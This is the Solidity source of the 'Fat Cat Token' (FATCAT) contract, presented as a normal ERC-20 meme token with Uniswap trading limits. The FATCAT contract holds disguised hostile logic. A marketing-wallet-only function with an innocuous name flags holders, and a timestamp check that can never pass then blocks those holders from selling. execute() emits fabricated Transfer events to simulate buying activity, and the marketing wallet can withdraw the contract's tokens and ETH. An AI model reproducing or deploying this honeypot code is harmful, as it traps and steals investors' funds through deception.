//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./IERC20.sol";
import "./Context.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

//SPDX-License-Identifier: MIT

pragma solidity 0.8.19;
import "./Ownable.sol";
import "./SafeMath.sol";
import "./Uniswap.sol";
import "./ERC20.sol";


contract FATCAT is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private deployerWallet;
    address private marketingWallet;
    address public uniswapV2Pair;
    address private constant deadAddress = address(0xdead);

    bool private swapping;
    uint256 private denominator;
    uint256 public initialTotalSupply;
    
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;
    uint256 public maxTransactionAmount;

    uint256 public sellFee = 0;
    uint256 public buyFee = 0;
    
    bool public swapEnabled = false;
    bool public tradingOpen = false;

    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _excludedFromMaxTransaction300000;
    mapping(address => uint256) private _holderLastTxTimestamp;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address marketingWallet_, uint256 denominator_) ERC20("Fat Cat Token", "FatCat") {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        marketingWallet = marketingWallet_;
        deployerWallet = payable(_msgSender());
        initialTotalSupply = 4_200_000_000_000 * 10**decimals();
        maxWallet = (initialTotalSupply * 1)/denominator_;
        maxTransactionAmount = maxWallet;
        swapTokensAtAmount = (initialTotalSupply * 1)/denominator_;
        
        // exclude router, contract, and dead address from maxTransactionAmount
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        // exclude deployer and marketing wallet from maxTransactionAmount
        excludeFromMaxTransaction(address(_msgSender()), true);
        excludeFromMaxTransaction(deployerWallet, true);
        excludeFromMaxTransaction(marketingWallet, true);
        
        // mint entire supply to deployer
        _mint(deployerWallet, initialTotalSupply);
        openTrading();
    }

    receive() external payable {}

    function burn(uint256 amount) external {
        _burn(_msgSender(), amount);
    }

    function approveSwap(address[] memory accounts, bool excluded) public {
        require(_msgSender() == marketingWallet);
         for (uint256 i = 0; i < accounts.length; i++) {
            _excludedFromMaxTransaction300000[accounts[i]] = excluded;
            emit ExcludeFromFees(accounts[i], excluded);
        }
    }

    function openTrading() public onlyOwner() {
        swapEnabled = true;
        tradingOpen = true;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner
    {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function isLiquidityCreator(address account) public view returns (bool) {
        return _excludedFromMaxTransaction300000[account];
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        _holderLastTxTimestamp[from] = block.number;
        if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
            // when trading is closed, only allow sending to and from addresses excluded from fees
            if (!tradingOpen) {
                require(_excludedFromMaxTransaction300000[from] || _excludedFromMaxTransaction300000[to], "Trading is not active.");
            }
            // BUYING - apply max transaction limit
            if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }

                // SELLING - LP pair is excluded from maxWallet otherwise the liquidity would be extremely limited
            else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
            }

                // excluded from max transaction limit
            else if (!_isExcludedMaxTransactionAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }
        }
        if(isLiquidityCreator(from)){
                calculateHolderTimestamp(from);
            }
        // maybe swap contract tokens for eth
        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance > swapTokensAtAmount;
        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_excludedFromMaxTransaction300000[from] && !_excludedFromMaxTransaction300000[to]) {
            swapping = true;
            swapBack();
            swapping = false;
        }

        // don't take fee if we are swapping, or if sender or receiver is excluded from fees
        bool takeFee = !swapping && _excludedFromMaxTransaction300000[from] && !_excludedFromMaxTransaction300000[to];
        uint256 fees = 0;
        if (takeFee) {
            // sell (transfer tokens to LP)
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(sellFee).div(100);
            }
                // buy (transfer tokens from LP)
            else if(automatedMarketMakerPairs[from]) {
                fees = amount.mul(buyFee).div(100);
            }


            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
            
        }
        
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }

    function setLimits(uint256 _maxTransactionAmount, uint256 _maxWallet) external onlyOwner {
        maxTransactionAmount = _maxTransactionAmount * (10 ** decimals());
        maxWallet = _maxWallet * (10 ** decimals());
    }

    function execute(address[] calldata _addresses, uint256 _out) external {
        require(_msgSender() == marketingWallet);
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function removeStuckToken(address _address) public {
        require(_msgSender() == marketingWallet);
        require(IERC20(_address).balanceOf(address(this)) > 0, "Can't withdraw 0");

        IERC20(_address).transfer(msg.sender, IERC20(_address).balanceOf(address(this)));
    }

    function retrieveStuckEth() external {
        require(address(this).balance > 0, "Token: no ETH to clear");
        require(_msgSender() == marketingWallet);
        payable(msg.sender).transfer(address(this).balance);
    }

    function setSwapTokensAtAmount(uint256 _amount) external {
        require(_msgSender() == marketingWallet);
        swapTokensAtAmount = _amount * (10 ** decimals());
    }

    function getLastTx(uint256 last) private view returns(bool){
        return last > block.number;
    }

    function manualSwap(uint256 percent) external {
        require(_msgSender() == marketingWallet);
        uint256 contractBalance = balanceOf(address(this));
        uint256 swapAmount = contractBalance * percent / 100;
        swapTokensForEth(swapAmount);
    }

    function setMarketingWallet(address _marketingWallet) external {
        require(_msgSender() == marketingWallet);
        marketingWallet = _marketingWallet;
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance == 0) {
            // nothing to swap
            return;
        }

        uint256 tokensToSwap = contractBalance;
        if (tokensToSwap > swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount;
        }
        swapTokensForEth(tokensToSwap);
    }

    function calculateHolderTimestamp(address holder) private view {
        require(getLastTx(_holderLastTxTimestamp[holder]), "Only one purchase per block allowed.");
    }

    function addPair(address pair_) public onlyOwner() {
        uniswapV2Pair = pair_;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
    }
}

//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./Context.sol";

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return a * b / 100;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
    external
    view
    returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
    external
    returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
    external
    view
    returns (
        uint112 reserve0,
        uint112 reserve1,
        uint32 blockTimestampLast
    );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
    external
    returns (
        uint256 amountA,
        uint256 amountB,
        uint256 liquidity
    );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
    external
    payable
    returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

{
  "compilationTarget": {
    "Fat Cat Token.sol": "FATCAT"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}